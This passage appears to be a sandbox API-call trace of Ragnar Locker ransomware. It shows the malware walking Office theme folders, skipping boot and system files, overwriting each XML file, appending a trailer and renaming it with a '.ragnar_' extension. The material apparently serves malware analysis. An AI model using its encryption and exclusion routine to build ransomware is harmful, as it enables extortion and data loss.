lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.ragnar_FD7BD9FC" [0093.515] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.516] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0093.516] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.516] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Angles.xml" | out: lpString1="Angles.xml") returned="Angles.xml" [0093.516] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml") returned=".xml" [0093.516] lstrcmpiW (lpString1="Angles.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.516] lstrcmpiW (lpString1="Angles.xml", lpString2="autorun.inf") returned -1 [0093.516] lstrcmpiW (lpString1="Angles.xml", lpString2="boot.ini") returned -1 [0093.516] lstrcmpiW (lpString1="Angles.xml", lpString2="bootfont.bin") returned -1 [0093.516] lstrcmpiW (lpString1="Angles.xml", lpString2="bootsect.bak") returned -1 [0093.516] lstrcmpiW (lpString1="Angles.xml", lpString2="bootmgr") returned -1 [0093.516] lstrcmpiW (lpString1="Angles.xml", lpString2="bootmgr.efi") returned -1 [0093.516] lstrcmpiW (lpString1="Angles.xml", lpString2="bootmgfw.efi") returned -1 [0093.516] lstrcmpiW (lpString1="Angles.xml", lpString2="desktop.ini") returned -1 [0093.516] lstrcmpiW (lpString1="Angles.xml", lpString2="iconcache.db") returned -1 [0093.516] lstrcmpiW (lpString1="Angles.xml", lpString2="ntldr") returned -1 [0093.516] lstrcmpiW (lpString1="Angles.xml", lpString2="ntuser.dat") returned -1 [0093.516] lstrcmpiW (lpString1="Angles.xml", lpString2="ntuser.dat.log") returned -1 [0093.516] lstrcmpiW (lpString1="Angles.xml", lpString2="ntuser.ini") returned -1 [0093.516] lstrcmpiW (lpString1="Angles.xml", lpString2="thumbs.db") returned -1 [0093.516] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.516] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.516] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.516] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.516] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.516] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.516] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml")) returned 0x20 [0093.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.517] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=925) returned 1 [0093.517] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.517] GetProcessHeap () returned 0x580000 [0093.517] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.517] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.519] VirtualAlloc (lpAddress=0x0, dwSize=0x39d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.519] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.519] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.519] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x39d, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x39d, lpOverlapped=0x0) returned 1 [0093.519] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.519] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39d, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.519] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x39d, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x39d, lpOverlapped=0x0) returned 1 [0093.519] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.519] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.520] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x39d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.520] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.520] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.520] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.520] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.520] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.520] GetProcessHeap () returned 0x580000 [0093.520] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.520] CloseHandle (hObject=0x10c) returned 1 [0093.520] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" [0093.520] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.ragnar_FD7BD9FC" [0093.520] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.521] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0093.521] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.521] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Apex.xml" | out: lpString1="Apex.xml") returned="Apex.xml" [0093.521] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml") returned=".xml" [0093.521] lstrcmpiW (lpString1="Apex.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.521] lstrcmpiW (lpString1="Apex.xml", lpString2="autorun.inf") returned -1 [0093.521] lstrcmpiW (lpString1="Apex.xml", lpString2="boot.ini") returned -1 [0093.521] lstrcmpiW (lpString1="Apex.xml", lpString2="bootfont.bin") returned -1 [0093.521] lstrcmpiW (lpString1="Apex.xml", lpString2="bootsect.bak") returned -1 [0093.521] lstrcmpiW (lpString1="Apex.xml", lpString2="bootmgr") returned -1 [0093.521] lstrcmpiW (lpString1="Apex.xml", lpString2="bootmgr.efi") returned -1 [0093.521] lstrcmpiW (lpString1="Apex.xml", lpString2="bootmgfw.efi") returned -1 [0093.521] lstrcmpiW (lpString1="Apex.xml", lpString2="desktop.ini") returned -1 [0093.521] lstrcmpiW (lpString1="Apex.xml", lpString2="iconcache.db") returned -1 [0093.521] lstrcmpiW (lpString1="Apex.xml", lpString2="ntldr") returned -1 [0093.521] lstrcmpiW (lpString1="Apex.xml", lpString2="ntuser.dat") returned -1 [0093.521] lstrcmpiW (lpString1="Apex.xml", lpString2="ntuser.dat.log") returned -1 [0093.521] lstrcmpiW (lpString1="Apex.xml", lpString2="ntuser.ini") returned -1 [0093.521] lstrcmpiW (lpString1="Apex.xml", lpString2="thumbs.db") returned -1 [0093.521] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.521] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.521] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.521] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.521] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.522] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.522] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml")) returned 0x20 [0093.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.523] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=959) returned 1 [0093.523] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.523] GetProcessHeap () returned 0x580000 [0093.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.523] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.524] VirtualAlloc (lpAddress=0x0, dwSize=0x3bf, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.525] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.525] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.525] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3bf, lpOverlapped=0x0) returned 1 [0093.525] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.525] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3bf, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.525] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3bf, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3bf, lpOverlapped=0x0) returned 1 [0093.525] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3bf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.525] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.525] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.525] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.525] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.525] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.526] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.526] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.526] GetProcessHeap () returned 0x580000 [0093.526] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.526] CloseHandle (hObject=0x10c) returned 1 [0093.526] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" [0093.526] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.ragnar_FD7BD9FC" [0093.526] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.527] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1 [0093.527] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.527] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Apothecary.xml" | out: lpString1="Apothecary.xml") returned="Apothecary.xml" [0093.527] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml") returned=".xml" [0093.527] lstrcmpiW (lpString1="Apothecary.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.527] lstrcmpiW (lpString1="Apothecary.xml", lpString2="autorun.inf") returned -1 [0093.527] lstrcmpiW (lpString1="Apothecary.xml", lpString2="boot.ini") returned -1 [0093.527] lstrcmpiW (lpString1="Apothecary.xml", lpString2="bootfont.bin") returned -1 [0093.527] lstrcmpiW (lpString1="Apothecary.xml", lpString2="bootsect.bak") returned -1 [0093.527] lstrcmpiW (lpString1="Apothecary.xml", lpString2="bootmgr") returned -1 [0093.527] lstrcmpiW (lpString1="Apothecary.xml", lpString2="bootmgr.efi") returned -1 [0093.527] lstrcmpiW (lpString1="Apothecary.xml", lpString2="bootmgfw.efi") returned -1 [0093.527] lstrcmpiW (lpString1="Apothecary.xml", lpString2="desktop.ini") returned -1 [0093.527] lstrcmpiW (lpString1="Apothecary.xml", lpString2="iconcache.db") returned -1 [0093.527] lstrcmpiW (lpString1="Apothecary.xml", lpString2="ntldr") returned -1 [0093.527] lstrcmpiW (lpString1="Apothecary.xml", lpString2="ntuser.dat") returned -1 [0093.527] lstrcmpiW (lpString1="Apothecary.xml", lpString2="ntuser.dat.log") returned -1 [0093.527] lstrcmpiW (lpString1="Apothecary.xml", lpString2="ntuser.ini") returned -1 [0093.527] lstrcmpiW (lpString1="Apothecary.xml", lpString2="thumbs.db") returned -1 [0093.527] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.527] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.527] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.527] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.527] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.527] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.527] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml")) returned 0x20 [0093.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.529] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=965) returned 1 [0093.529] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.529] GetProcessHeap () returned 0x580000 [0093.529] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.529] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.530] VirtualAlloc (lpAddress=0x0, dwSize=0x3c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.530] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.530] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.530] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c5, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c5, lpOverlapped=0x0) returned 1 [0093.531] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.531] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c5, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.531] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c5, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c5, lpOverlapped=0x0) returned 1 [0093.531] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.531] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.531] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.531] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.531] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.531] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.531] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.531] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.531] GetProcessHeap () returned 0x580000 [0093.531] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.531] CloseHandle (hObject=0x10c) returned 1 [0093.532] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" [0093.532] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.ragnar_FD7BD9FC" [0093.532] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.532] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9c9400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9c9400, 